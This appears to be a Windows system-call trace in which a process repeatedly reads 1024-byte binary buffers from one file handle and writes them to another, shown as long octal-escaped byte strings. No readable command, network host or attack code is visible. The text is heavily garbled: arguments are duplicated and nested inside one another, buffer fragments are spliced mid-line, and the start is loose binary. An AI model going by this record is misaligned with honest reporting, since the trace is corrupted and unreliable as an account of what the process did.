+k\255\24vf/jv0\260|r"+)$4\226#..\20482\376\25\2157{\365\30n;TTM\37knry\37R@O\3GDHI(F^\13\11Eh\213A%B\364@_7\2043\2013\2334U\250\11\20\22\365\14\177\3b\211sA1\35\344\2744%_f*\360\2\221\27[\231\2154\321\252f\2059>-\214=k\24\255\34\311\314\20;C"Q0$\37;\14\213\10\374&}\333\363,\223&\264F\311\307\61\1370\255+Z\3548\374\36" }}\330\225'\337)F\11$,". 0>2\254;597;{\251/\14\37J3Z\34\27\31\217\24\251C9\352\315b9\327\374\354*\254Y\337\304\26\316'\243\25\256\303\267!Y\273"\364\@\277y\\5\377r\255A\266\354\206Q\307!n\22\236\11\12\355!\251\306\317\315\314\220L\226?>\32>K\177=*\277\332\376\30.M\337\364\234C\35\325n\330=\265\128DM\217.`u\221\2734d\311"\230[\32\230\255\234lJ;\275|\34\330%\240#\253\3647f\247,\326?3\314.\252\3505\320030\276\360h" 6;\235\261\256<\373\3Z\277\217\21\241""U\23\341a9).\354\252\35\15'07\266\17\2136\307\337^\335\272\22\32\13\2134 \320.WM\352\22rd!\326\246,\351-8d\305\32\244[\241&\375\3655Wf\320\334\321\332<\235\247a_\11\15$\314`'\316+**\305\2342.\271\2610\177$\2643`::\2729\30\257\303\276\23\341\25\237\307 +k\255\24vf/jv0\260|r314`'\316+**\305\2342.\271\2610\177$\2643`::\2729\30\257\303\276\23\341\25\237\307 +k\255\24vf/jv0\260|r235\221\263aqic\34!z", ) == 0x0
 01239  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\25\360\367o\213wW\365\271\211G\361")\22V*\212k\2225\375o\305\365 V6\301\266U\322\207Y\2645\31\301\272:+\24\334e`\321z\216\212r\216s8JN\30)i\372\204J\352F\225w\36\234}\342l\23L\2577\265cc\20\367\2149\223<\344\346\16\356D\5\2027\364\7\33\351\371\215\222\33\7|\274\250\201\202\265\350\242\221`k\16U\365\35\375\267\313\211\327\3269\352%\337XE\11\200t/\36\320n\222\7\32L\242\341\325\303\3213\237\220\256=o\270\274\247\11\244\316\10\347\314&y\242r\3765%v~\20\277\370\26\247s\221\2\270\310\25y|(\223\267p_s\3578\360\302+GZ\3752\346b<\277r\207\217\32SEl5\262\263J\223\#$\6Y}\362\232\365\351\11\320\3){\256a\15\26zm\210 j\206\374\205b\307\6q\300\35\312 \351\345|Ih\277H\355\203\276\277\34\0\200.\206\307\313\251E\360Q\37\267\307\306\3309\331\370\206r&\23703\264\255\3050\374\337\225\11\324\240||N\303\302V\206[L\253 ?\314\262m\14\177\177o<\370\242\22\275S\274u\325O\312\7\276\206\3357S:\3717\373\16Hu\233\375\376v\314Y\370%\365\360\272\255\226\312\36)\213g;\367{MH\323C\336\0\27\36j\26_\223Gv$\322\16\sf\23\225\275\301\11\353\22\273'\36\216\261\14\214\231\243\201\306r\206\214\354\352\225\26\325\346\226\302\20\316\24tS$o\372\270\342\377\263x\367p\201\312\371\227#LplK\337V?\356\312&x\307\14\3748A\240\327\323\375\35%\227l\340R\11\374\336hC\331\356\306\314\\370:\2577\213\233\376\32\327Q\273\11\322\335\363g,\336\225\253\27\376\314\374\244\245U\330\355\261\207\273&\320\335;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) )\22V*\212k\2225\375o\305\365 V6\301\266U\322\207Y\2645\31\301\272:+\24\334e`\321z\216\212r\216s8JN\30)i\372\204J\352F\225w\36\234}\342l\23L\2577\265cc\20\367\2149\223<\344\346\16\356D\5\2027\364\7\33\351\371\215\222\33\7|\274\250\201\202\265\350\242\221`k\16U\365\35\375\267\313\211\327\3269\352%\337XE\11\200t/\36\320n\222\7\32L\242\341\325\303\3213\237\220\256=o\270\274\247\11\244\316\10\347\314&y\242r\3765%v~\20\277\370\26\247s\221\2\270\310\25y|(\223\267p_s\3578\360\302+GZ\3752\346b<\277r\207\217\32SEl5\262\263J\223\#$\6Y}\362\232\365\351\11\320\3){\256a\15\26zm\210 j\206\374\205b\307\6q\300\35\312 \351\345|Ih\277H\355\203\276\277\34\0\200.\206\307\313\251E\360Q\37\267\307\306\3309\331\370\206r&\23703\264\255\3050\374\337\225\11\324\240||N\303\302V\206[L\253 ?\314\262m\14\177\177o<\370\242\22\275S\274u\325O\312\7\276\206\3357S:\3717\373\16Hu\233\375\376v\314Y\370%\365\360\272\255\226\312\36)\213g;\367{MH\323C\336\0\27\36j\26_\223Gv$\322\16\sf\23\225\275\301\11\353\22\273'\36\216\261\14\214\231\243\201\306r\206\214\354\352\225\26\325\346\226\302\20\316\24tS$o\372\270\342\377\263x\367p\201\312\371\227#LplK\337V?\356\312&x\307\14\3748A\240\327\323\375\35%\227l\340R\11\374\336hC\331\356\306\314\\370:\2577\213\233\376\32\327Q\273\11\322\335\363g,\336\225\253\27\376\314\374\244\245U\330\355\261\207\273&\320\335;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01240  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "i\35?\233\351U4\251t$.\255v(\310*=\256\356-0\262\3641u;\12\3268\31=mv\335>\323t8\33\237\1$\251\226\0 \260\3-\210\313+L!\201\76\233\212\262\325\271\323\35<\315\30;\12>\260?\33\21\377 \4\13+*p\2!h\241(\23\251/N\2472Y>\2620\252\2713}\305>\200I$'\326\266\351\31Y[\311\203\207#Q\314\261\366,I\7\371(\177\361+?4Z\2267\7\337]e>0i57z\372\33]\4(4\345!C\17\14\344 \217\352/\311\226\213\342(@3\334\264\322\3736A\237<\3202\261\234?4g\271\36\336\265\35\255l*\312p\313\255\367)\241\370*\212\243*\242\200|\22\332\37254\266:\377\2739\266\205\274=e\232\37\223\222\254\20,q\217\24$\252t\210*\213\216-\356\206\360\25\37d\375\345\23_l\10<\323z\355:\37\274\34\236\332\0\230!.s\314\205\242'*\242*e8\246\23\353\352333e\312\341a\307\356\271\377\2345aa\330\214\34\36\323,!"t\257Y\2/\255\326_+/EN.!E\235\205v\342o\303:\211\3059\315?\366\316\31\230L\256\353"""'\4\0>~\30./\343l-\357,\340i;s\205 479\205\242Zi<\36w\32\266\275[\36`i#\363a$F`))\272j?;|+Z!X&1u7p8\37rQ8o\326\265(\36;"\31\6\13\312s%5Ogf=z xW\256\17\361\234cr?a3]4S={*8:U\31\334\11^u"s\312\1\304%v\244\320)M\243\254).\252\317D9[\33466>\270)\352\343\274-z\33\27\\25\235\347"\201*/+\251sc\327\326\353\231<\305?", ) t\257Y\2/\255\326_+/EN.!E\235\205v\342o\303:\211\3059\315?\366\316\31\230L\256\353"" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "i\35?\233\351U4\251t$.\255v(\310*=\256\356-0\262\3641u;\12\3268\31=mv\335>\323t8\33\237\1$\251\226\0 \260\3-\210\313+L!\201\76\233\212\262\325\271\323\35<\315\30;\12>\260?\33\21\377 \4\13+*p\2!h\241(\23\251/N\2472Y>\2620\252\2713}\305>\200I$'\326\266\351\31Y[\311\203\207#Q\314\261\366,I\7\371(\177\361+?4Z\2267\7\337]e>0i57z\372\33]\4(4\345!C\17\14\344 \217\352/\311\226\213\342(@3\334\264\322\3736A\237<\3202\261\234?4g\271\36\336\265\35\255l*\312p\313\255\367)\241\370*\212\243*\242\200|\22\332\37254\266:\377\2739\266\205\274=e\232\37\223\222\254\20,q\217\24$\252t\210*\213\216-\356\206\360\25\37d\375\345\23_l\10<\323z\355:\37\274\34\236\332\0\230!.s\314\205\242'*\242*e8\246\23\353\352333e\312\341a\307\356\271\377\2345aa\330\214\34\36\323,!"t\257Y\2/\255\326_+/EN.!E\235\205v\342o\303:\211\3059\315?\366\316\31\230L\256\353"""'\4\0>~\30./\343l-\357,\340i;s\205 479\205\242Zi<\36w\32\266\275[\36`i#\363a$F`))\272j?;|+Z!X&1u7p8\37rQ8o\326\265(\36;"\31\6\13\312s%5Ogf=z xW\256\17\361\234cr?a3]4S={*8:U\31\334\11^u"s\312\1\304%v\244\320)M\243\254).\252\317D9[\33466>\270)\352\343\274-z\33\27\\25\235\347"\201*/+\251sc\327\326\353\231<\305?", ) \31\6\13\312s%5Ogf=z xW\256\17\361\234cr?a3]4S={*8:U\31\334\11^u (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "i\35?\233\351U4\251t$.\255v(\310*=\256\356-0\262\3641u;\12\3268\31=mv\335>\323t8\33\237\1$\251\226\0 \260\3-\210\313+L!\201\76\233\212\262\325\271\323\35<\315\30;\12>\260?\33\21\377 \4\13+*p\2!h\241(\23\251/N\2472Y>\2620\252\2713}\305>\200I$'\326\266\351\31Y[\311\203\207#Q\314\261\366,I\7\371(\177\361+?4Z\2267\7\337]e>0i57z\372\33]\4(4\345!C\17\14\344 \217\352/\311\226\213\342(@3\334\264\322\3736A\237<\3202\261\234?4g\271\36\336\265\35\255l*\312p\313\255\367)\241\370*\212\243*\242\200|\22\332\37254\266:\377\2739\266\205\274=e\232\37\223\222\254\20,q\217\24$\252t\210*\213\216-\356\206\360\25\37d\375\345\23_l\10<\323z\355:\37\274\34\236\332\0\230!.s\314\205\242'*\242*e8\246\23\353\352333e\312\341a\307\356\271\377\2345aa\330\214\34\36\323,!"t\257Y\2/\255\326_+/EN.!E\235\205v\342o\303:\211\3059\315?\366\316\31\230L\256\353"""'\4\0>~\30./\343l-\357,\340i;s\205 479\205\242Zi<\36w\32\266\275[\36`i#\363a$F`))\272j?;|+Z!X&1u7p8\37rQ8o\326\265(\36;"\31\6\13\312s%5Ogf=z xW\256\17\361\234cr?a3]4S={*8:U\31\334\11^u"s\312\1\304%v\244\320)M\243\254).\252\317D9[\33466>\270)\352\343\274-z\33\27\\25\235\347"\201*/+\251sc\327\326\353\231<\305?", ) \201*/+\251sc\327\326\353\231<\305?", ) == 0x0
 01241  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\205\325\253w\347vg\255\23\356\224\211d\234\332\350[L;\10 \231\201S\206-\273\264\337`\37\241bw\212\202Si\240\32.aM\233\25(\235a\15\240&$7\211\230\360|\0\221\35\31\336\352dDX_\7\210\366\351\315\20\324\312\232n\233\305\360\246k\236\216\341\37ZE\232\254{\234]\0\316~\246F\363/\376l\247\223+6\203\270\224\240H`Jj\333\364\240\16\12\211A\326\362*\252\2168N\23\354=wl\247\3\274\375\261#F\363\211kTsN\334?\22\223\265$\241\214\276Rq\3048yq\324\12\354\327\320\360\206\241y\5\275B\351\34=n\232\306\262-\273\342@v\357\346\346q\360\364\314\0\25\35f\215c\321i\33\216\37d\243b\330\307\202{\366\322\3\251\376\220ve\2149}\356\247U\220\256[\216\303\255.\266/\2q\4\23\262-\231\276s\2349F\274\306\307f\177\3\233R\273\361;\364D\210^\317\234\2166\337b\322f\253#\213\253\305x\252\275?eXD\270\333h7\360\320\362\233\11\320\213Y1\333\354\367)\360\325\217$\374\232\313\351\320\330\224\347Yte\237\15VC0 \30\264\215"kZ\223\273\15\211r,\0\261\211\364\205\14c\242\215\2219\177\312\262Ir\42\215\210\357\21\3205!\261J\327\6+\204\363\4\211\226\27K ?\213c\2536\251\204k\222\226\4\206D\356\304\177J& \26\206\255\201=\11\3567\244\271B\346B\263\17\10\1\265\341@*\230M\34cB\24\253\5\203\227c\274\333\26\2\355[qa\12\376\332\323&\220\253\277\24\256\305y\266\14\307\305u\350\366\330"#d\26\364\361\340\37\325;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) kZ\223\273\15\211r,\0\261\211\364\205\14c\242\215\2219\177\312\262Ir\42\215\210\357\21\3205!\261J\327\6+\204\363\4\211\226\27K ?\213c\2536\251\204k\222\226\4\206D\356\304\177J& \26\206\255\201=\11\3567\244\271B\346B\263\17\10\1\265\341@*\230M\34cB\24\253\5\203\227c\274\333\26\2\355[qa\12\376\332\323&\220\253\277\24\256\305y\266\14\307\305u\350\366\330307\374\247\342\344\301j\207\25\304`\247y\332\343X\343\227\5\320`\251\316\271\352#a\272;\2027\225\15\216\367\303\347\232\200u^ (92, 0, 0, 0, "\205\325\253w\347vg\255\23\356\224\211d\234\332\350[L;\10 \231\201S\206-\273\264\337`\37\241bw\212\202Si\240\32.aM\233\25(\235a\15\240&$7\211\230\360|\0\221\35\31\336\352dDX_\7\210\366\351\315\20\324\312\232n\233\305\360\246k\236\216\341\37ZE\232\254{\234]\0\316~\246F\363/\376l\247\223+6\203\270\224\240H`Jj\333\364\240\16\12\211A\326\362*\252\2168N\23\354=wl\247\3\274\375\261#F\363\211kTsN\334?\22\223\265$\241\214\276Rq\3048yq\324\12\354\327\320\360\206\241y\5\275B\351\34=n\232\306\262-\273\342@v\357\346\346q\360\364\314\0\25\35f\215c\321i\33\216\37d\243b\330\307\202{\366\322\3\251\376\220ve\2149}\356\247U\220\256[\216\303\255.\266/\2q\4\23\262-\231\276s\2349F\274\306\307f\177\3\233R\273\361;\364D\210^\317\234\2166\337b\322f\253#\213\253\305x\252\275?eXD\270\333h7\360\320\362\233\11\320\213Y1\333\354\367)\360\325\217$\374\232\313\351\320\330\224\347Yte\237\15VC0 \30\264\215"kZ\223\273\15\211r,\0\261\211\364\205\14c\242\215\2219\177\312\262Ir\42\215\210\357\21\3205!\261J\327\6+\204\363\4\211\226\27K ?\213c\2536\251\204k\222\226\4\206D\356\304\177J& \26\206\255\201=\11\3567\244\271B\346B\263\17\10\1\265\341@*\230M\34cB\24\253\5\203\227c\274\333\26\2\355[qa\12\376\332\323&\220\253\277\24\256\305y\266\14\307\305u\350\366\330"#d\26\364\361\340\37\325;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01242  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "!\302D\271=\373\2728\275\315\5\230'\335%\311\200$"K\30Y\32\224\25k\24\213\264\23.,p\2221\220\22466t\12J\11(\10\336\12=\270lO\376)6\26\20\24\244c\21\304\37\312\23X\334y\16\234\14h\17\200\24%)\11Z\203\212;3=1?\24\34\22\36\20 ."\334+%)'')%+#-!/?1=3\313:6886:4<2>0\33\23\35\21\37\337.",$*&((&*$,". 0\316=3;5977\2700Oj~)\372:\34m\304\33AP~\344RA\303`wGDHf\302;\320#u\03l\1f>Q%g2\230.Z\203\0br~x\235J\337Ri\246LJ\245\13fDEC*\253m]\QD^,\337>a\337\2369\246\306\303\276\372;\220\364\311%\364#\6$'\25\232&\366(\33\12\3{~}|\262\355N\276\1\276[7\275 :\313\276\35\264+\1&\347", ) K\30Y\32\224\25k\24\213\264\23.,p\2221\220\22466t\12J\11(\10\336\12=\270lO\376)6\26\20\24\244c\21\304\37\312\23X\334y\16\234\14h\17\200\24%)\11Z\203\212;3=1?\24\34\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "!\302D\271=\373\2728\275\315\5\230'\335%\311\200$"K\30Y\32\224\25k\24\213\264\23.,p\2221\220\22466t\12J\11(\10\336\12=\270lO\376)6\26\20\24\244c\21\304\37\312\23X\334y\16\234\14h\17\200\24%)\11Z\203\212;3=1?\24\34\22\36\20 ."\334+%)'')%+#-!/?1=3\313:6886:4<2>0\33\23\35\21\37\337.",$*&((&*$,". 0\316=3;5977\2700Oj~)\372:\34m\304\33AP~\344RA\303`wGDHf\302;\320#u\03l\1f>Q%g2\230.Z\203\0br~x\235J\337Ri\246LJ\245\13fDEC*\253m]\QD^,\337>a\337\2369\246\306\303\276\372;\220\364\311%\364#\6$'\25\232&\366(\33\12\3{~}|\262\355N\276\1\276[7\275 :\313\276\35\264+\1&\347", ) ,$*&((&*$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "!\302D\271=\373\2728\275\315\5\230'\335%\311\200$"K\30Y\32\224\25k\24\213\264\23.,p\2221\220\22466t\12J\11(\10\336\12=\270lO\376)6\26\20\24\244c\21\304\37\312\23X\334y\16\234\14h\17\200\24%)\11Z\203\212;3=1?\24\34\22\36\20 ."\334+%)'')%+#-!/?1=3\313:6886:4<2>0\33\23\35\21\37\337.",$*&((&*$,". 0\316=3;5977\2700Oj~)\372:\34m\304\33AP~\344RA\303`wGDHf\302;\320#u\03l\1f>Q%g2\230.Z\203\0br~x\235J\337Ri\246LJ\245\13fDEC*\253m]\QD^,\337>a\337\2369\246\306\303\276\372;\220\364\311%\364#\6$'\25\232&\366(\33\12\3{~}|\262\355N\276\1\276[7\275 :\313\276\35\264+\1&\347", ) , ) == 0x0
 01243  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "6\21\317v\351\304\370\331\14\220\236o\11 \320\2011\11\254zs;C\2040q\261\351u\375\01r \37\341\301\361N;i5\253\365\37\352(G\310\224\324R\347\211/\360\257k\350\210l\177\321h\213p\220^\214\225\3\274:\251\203j1S\10\256\346\376\260\30\330\277gV\336\345b\275\261X\263\202\365H~m\360\31\373\325\341]tg\20a\206\367V\11$o\350=R!K\310\374\264\23\243\2662(\30f\227\200\274\316w\263\3312\r\2173\242\250~:@\271\21\204\327\253\0\337\243\330/\245\336G\325\362f\20\207G\244\307\216\356\26\256\370\342\357\320\300i\315\22\322\205\215j=o\222v\236\326t\33\362R\26\264\321t\205\2049\331M\236J\277A\262v\3235ks)\340_V5z\266]:\2rx\376\35\256\7\26E.\374\351\376P\212l\2\177\211\302\254d\15\34\277\245"pd\305&\350\361\372\211\375sy\315fHrk\33M\267\212\361\362\301U\246\230\306\301\312\\307<\330ei)\263\341*o\262\333,\373Vj\320\30\252\215\204\365\235\7\302EVW<{\\375m\177\1\237\355\243{\370\351l\300\255u\12L\3171\374\245Z\307\332\200J\210\13\311\362\265\31\336\14\255t\15,0\200\14`M\14\256\32173\373\11\330\322\337K\310\34\263\221\340\270\36\177f\260\267\234\307^\6\320\311\15\224\4\34\206\22{\204d3\317:\222[\277\21R>woE\375w\7+J1.\3163\225\273-\247\240\14I\204\233-%j\327\270\33Y7;\346\376\17)\211\3040\224\6:\363\334\277|6U\36W\272\31\201 \337\353\2757j\366\378\34\265\24", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 1S\10\256\346\376\260\30\330\277gV\336\345b\275\261X\263\202\365H~m\360\31\373\325\341]tg\20a\206\367V\11$o\350=R!K\310\374\264\23\243\2662(\30f\227\200\274\316w\263\3312\r\2173\242\250~:@\271\21\204\327\253\0\337\243\330/\245\336G\325\362f\20\207G\244\307\216\356\26\256\370\342\357\320\300i\315\22\322\205\215j=o\222v\236\326t\33\362R\26\264\321t\205\2049\331M\236J\277A\262v\3235ks)\340_V5z\266]:\2rx\376\35\256\7\26E.\374\351\376P\212l\2\177\211\302\254d\15\34\277\245 (92, 0, 0, 0, "6\21\317v\351\304\370\331\14\220\236o\11 \320\2011\11\254zs;C\2040q\261\351u\375\01r \37\341\301\361N;i5\253\365\37\352(G\310\224\324R\347\211/\360\257k\350\210l\177\321h\213p\220^\214\225\3\274:\251\203j1S\10\256\346\376\260\30\330\277gV\336\345b\275\261X\263\202\365H~m\360\31\373\325\341]tg\20a\206\367V\11$o\350=R!K\310\374\264\23\243\2662(\30f\227\200\274\316w\263\3312\r\2173\242\250~:@\271\21\204\327\253\0\337\243\330/\245\336G\325\362f\20\207G\244\307\216\356\26\256\370\342\357\320\300i\315\22\322\205\215j=o\222v\236\326t\33\362R\26\264\321t\205\2049\331M\236J\277A\262v\3235ks)\340_V5z\266]:\2rx\376\35\256\7\26E.\374\351\376P\212l\2\177\211\302\254d\15\34\277\245"pd\305&\350\361\372\211\375sy\315fHrk\33M\267\212\361\362\301U\246\230\306\301\312\\307<\330ei)\263\341*o\262\333,\373Vj\320\30\252\215\204\365\235\7\302EVW<{\\375m\177\1\237\355\243{\370\351l\300\255u\12L\3171\374\245Z\307\332\200J\210\13\311\362\265\31\336\14\255t\15,0\200\14`M\14\256\32173\373\11\330\322\337K\310\34\263\221\340\270\36\177f\260\267\234\307^\6\320\311\15\224\4\34\206\22{\204d3\317:\222[\277\21R>woE\375w\7+J1.\3163\225\273-\247\240\14I\204\233-%j\327\270\33Y7;\346\376\17)\211\3040\224\6:\363\334\277|6U\36W\272\31\201 \337\353\2757j\366\378\34\265\24", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01244  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\251\11&.8.\0\300\3320\0\302]\256\2328::\37\275]\326\203\12\4O\7\358g'#<\335&?\327\355B/.zb\13,4)\262O5\263\367L0\374\275\251=~<\32\367\33\2261\207\260\7\342''d<\225`k#Dz\277\3562b22u$H\3239:\250\302\276\13\2726Z\30bV^$kX!\7p\244*X\0k,\247\177w\3562G\14q\270\10w6\244\35::=;\231V\32\37\267 \27\220\37\224cU\347\30\357\26)\344\25\370\23\364\21\320\172\325\12\331\10\305\6\301\4;\302\3:\0\21#\15!\376\36>\34\6\32\16\30(\7\25\37\23\27\21o\171t\14x\12d\10`\6:e\3Y\1Uzryrz S""\266$yW])XNOLBC002\166TBXQ98;\361?MFhhxs\37 #2#%\32\31\24(isjt}owp1h36\3644DLK\272U_M\375=\16\200o\251\36#("\345\241\237&$)\302-\272]-*\26\2551n<\261\305-\263R?\252\323>\302+\17\353y\215%\334\251\244S"\240|\226)+\251\354\352\11\36\347\246|\25JQf\345\366\2678:\233\341\317=/\327\366_\355\36\216 3\257\255Pe'\317\242\364\330*\221\331/<\330\374\3003p30\3048-\322\206\316=qn\357\34\10\366\262\322!\272\327$32\317\265\333*\312\330-9\307\275\270\3003\362\3057 \321\277\373H1\265w1J\215\225\36\3371 \363\26\345$+)'\256|\247\20\212\367202\270\305\312\341\274-\320\246;\335=?\264\225=\31\36\37"\12\340\30\345S7\236*\354+:\304\351\376\320\317\3166\344\2277(h\350#K*", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\251\11&.8.\0\300\3320\0\302]\256\2328::\37\275]\326\203\12\4O\7\358g'#<\335&?\327\355B/.zb\13,4)\262O5\263\367L0\374\275\251=~<\32\367\33\2261\207\260\7\342''d<\225`k#Dz\277\3562b22u$H\3239:\250\302\276\13\2726Z\30bV^$kX!\7p\244*X\0k,\247\177w\3562G\14q\270\10w6\244\35::=;\231V\32\37\267 \27\220\37\224cU\347\30\357\26)\344\25\370\23\364\21\320\172\325\12\331\10\305\6\301\4;\302\3:\0\21#\15!\376\36>\34\6\32\16\30(\7\25\37\23\27\21o\171t\14x\12d\10`\6:e\3Y\1Uzryrz S""\266$yW])XNOLBC002\166TBXQ98;\361?MFhhxs\37 #2#%\32\31\24(isjt}owp1h36\3644DLK\272U_M\375=\16\200o\251\36#("\345\241\237&$)\302-\272]-*\26\2551n<\261\305-\263R?\252\323>\302+\17\353y\215%\334\251\244S"\240|\226)+\251\354\352\11\36\347\246|\25JQf\345\366\2678:\233\341\317=/\327\366_\355\36\216 3\257\255Pe'\317\242\364\330*\221\331/<\330\374\3003p30\3048-\322\206\316=qn\357\34\10\366\262\322!\272\327$32\317\265\333*\312\330-9\307\275\270\3003\362\3057 \321\277\373H1\265w1J\215\225\36\3371 \363\26\345$+)'\256|\247\20\212\367202\270\305\312\341\274-\320\246;\335=?\264\225=\31\36\37"\12\340\30\345S7\236*\354+:\304\351\376\320\317\3166\344\2277(h\350#K*", ) \345\241\237&$)\302-\272]-*\26\2551n<\261\305-\263R?\252\323>\302+\17\353y\215%\334\251\244S (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\251\11&.8.\0\300\3320\0\302]\256\2328::\37\275]\326\203\12\4O\7\358g'#<\335&?\327\355B/.zb\13,4)\262O5\263\367L0\374\275\251=~<\32\367\33\2261\207\260\7\342''d<\225`k#Dz\277\3562b22u$H\3239:\250\302\276\13\2726Z\30bV^$kX!\7p\244*X\0k,\247\177w\3562G\14q\270\10w6\244\35::=;\231V\32\37\267 \27\220\37\224cU\347\30\357\26)\344\25\370\23\364\21\320\172\325\12\331\10\305\6\301\4;\302\3:\0\21#\15!\376\36>\34\6\32\16\30(\7\25\37\23\27\21o\171t\14x\12d\10`\6:e\3Y\1Uzryrz S""\266$yW])XNOLBC002\166TBXQ98;\361?MFhhxs\37 #2#%\32\31\24(isjt}owp1h36\3644DLK\272U_M\375=\16\200o\251\36#("\345\241\237&$)\302-\272]-*\26\2551n<\261\305-\263R?\252\323>\302+\17\353y\215%\334\251\244S"\240|\226)+\251\354\352\11\36\347\246|\25JQf\345\366\2678:\233\341\317=/\327\366_\355\36\216 3\257\255Pe'\317\242\364\330*\221\331/<\330\374\3003p30\3048-\322\206\316=qn\357\34\10\366\262\322!\272\327$32\317\265\333*\312\330-9\307\275\270\3003\362\3057 \321\277\373H1\265w1J\215\225\36\3371 \363\26\345$+)'\256|\247\20\212\367202\270\305\312\341\274-\320\246;\335=?\264\225=\31\36\37"\12\340\30\345S7\236*\354+:\304\351\376\320\317\3166\344\2277(h\350#K*", ) \12\340\30\345S7\236*\354+:\304\351\376\320\317\3166\344\2277(h\350#K*", ) == 0x0
 01245  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\3725\362\225v .:\17vw-\325~uP\12n\37\376\335_\303\336e-N\315\331\354^\346\366b<\376/\15\233\24jP\256\322\10"$\23m\270\350$\261\321\224\254\334=\2119\276\342\227\13\305\323r\233\11\240_p\327\210\225\345\206/y\23\314'h\207\332\48\355\20zi\370\375\245 \12\26\2-\354\237\12\\35\225\254\314\210fk:*\303\375\260g`X5\355~\260[u\343\200yG\335\300\267\207\247\230\373\24\315\221\235\257+\347\324A\325\257L\227\255\271\275=\21\2\36i\231Hg\312c\265\300\203+\323\305r\335,\23jv[\341*q@{:G\236\223ib\252\234\344$\202\14\226\16-Q\364z\205\324\3064\25\263Y\314}y\34\274\310)\311|\317\3.\201\205\303\233\352t$\331!8\25Pd(\275\263\372\345\362\323:&\2243\300\211\240)!\35\322\330\200Y('f]y\11+\217\244'\353|=\35\36\327\16\227\34\231\37y\7J\321x\0\334\211c\353G\24-\270\271\334\225\257Y\207\314\233\12\221Ax\27\315>*\276o\263\344\0V\356\11C\316+|\263H\344\24_\354:L\212\352A\307\233\224\227\225\353\2\376\244q(\3V\221\367ECy>\340\202x\14\245\14\276/A\11@\371\224A%\244\221\26\225\14\247\251<\177O\255\3442\30k)l^\227\377\333\362\266LG\327\231\250=L\231\236\22\257\27\347\257\304\314\263ZL>80\257+p\241v\260{\3757\305\2\243\334\257\257q\327\270C\275hF\310\11\346\273\342\373\363N\302&\31\363f\344\270\364\20\374\372\301A\303\375\373Y\17\5w\362=\207<\254dN\204\251\1jV\373n8\223\313\37te\315\327\350\241\236\217}c\354\375e\240\177U\2 \272\207\36\303^\330\365H\206\325", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) $\23m\270\350$\261\321\224\254\334=\2119\276\342\227\13\305\323r\233\11\240_p\327\210\225\345\206/y\23\314'h\207\332\48\355\20zi\370\375\245 \12\26\2-\354\237\12\\35\225\254\314\210fk:*\303\375\260g`X5\355~\260[u\343\200yG\335\300\267\207\247\230\373\24\315\221\235\257+\347\324A\325\257L\227\255\271\275=\21\2\36i\231Hg\312c\265\300\203+\323\305r\335,\23jv[\341*q@{:G\236\223ib\252\234\344$\202\14\226\16-Q\364z\205\324\3064\25\263Y\314}y\34\274\310)\311|\317\3.\201\205\303\233\352t$\331!8\25Pd(\275\263\372\345\362\323:&\2243\300\211\240)!\35\322\330\200Y('f]y\11+\217\244'\353|=\35\36\327\16\227\34\231\37y\7J\321x\0\334\211c\353G\24-\270\271\334\225\257Y\207\314\233\12\221Ax\27\315>*\276o\263\344\0V\356\11C\316+|\263H\344\24_\354:L\212\352A\307\233\224\227\225\353\2\376\244q(\3V\221\367ECy>\340\202x\14\245\14\276/A\11@\371\224A%\244\221\26\225\14\247\251<\177O\255\3442\30k)l^\227\377\333\362\266LG\327\231\250=L\231\236\22\257\27\347\257\304\314\263ZL>80\257+p\241v\260{\3757\305\2\243\334\257\257q\327\270C\275hF\310\11\346\273\342\373\363N\302&\31\363f\344\270\364\20\374\372\301A\303\375\373Y\17\5w\362=\207<\254dN\204\251\1jV\373n8\223\313\37te\315\327\350\241\236\217}c\354\375e\240\177U\2 \272\207\36\303^\330\365H\206\325", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01246  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "St\35p\311$\5dK\343k*(*(\304\257d/aa\315\3447\360\366< \45\34\374*~q\24\203\336\33\226nI\242J\240\376)\243\227&\202C \267\224 a\244=?\300?=g6\115#<\0\265\360\363\241t?S~M\302(\325\364if&12)\304\25\16\6r?*2\334\251\31\350Z+\373;\2143\263\342\331\17F\37\33\342\12_\323$ed\303(d\312+=l'"k\321\34v=\265\267498\261\2378\253\345\336\33\374\4\277\376 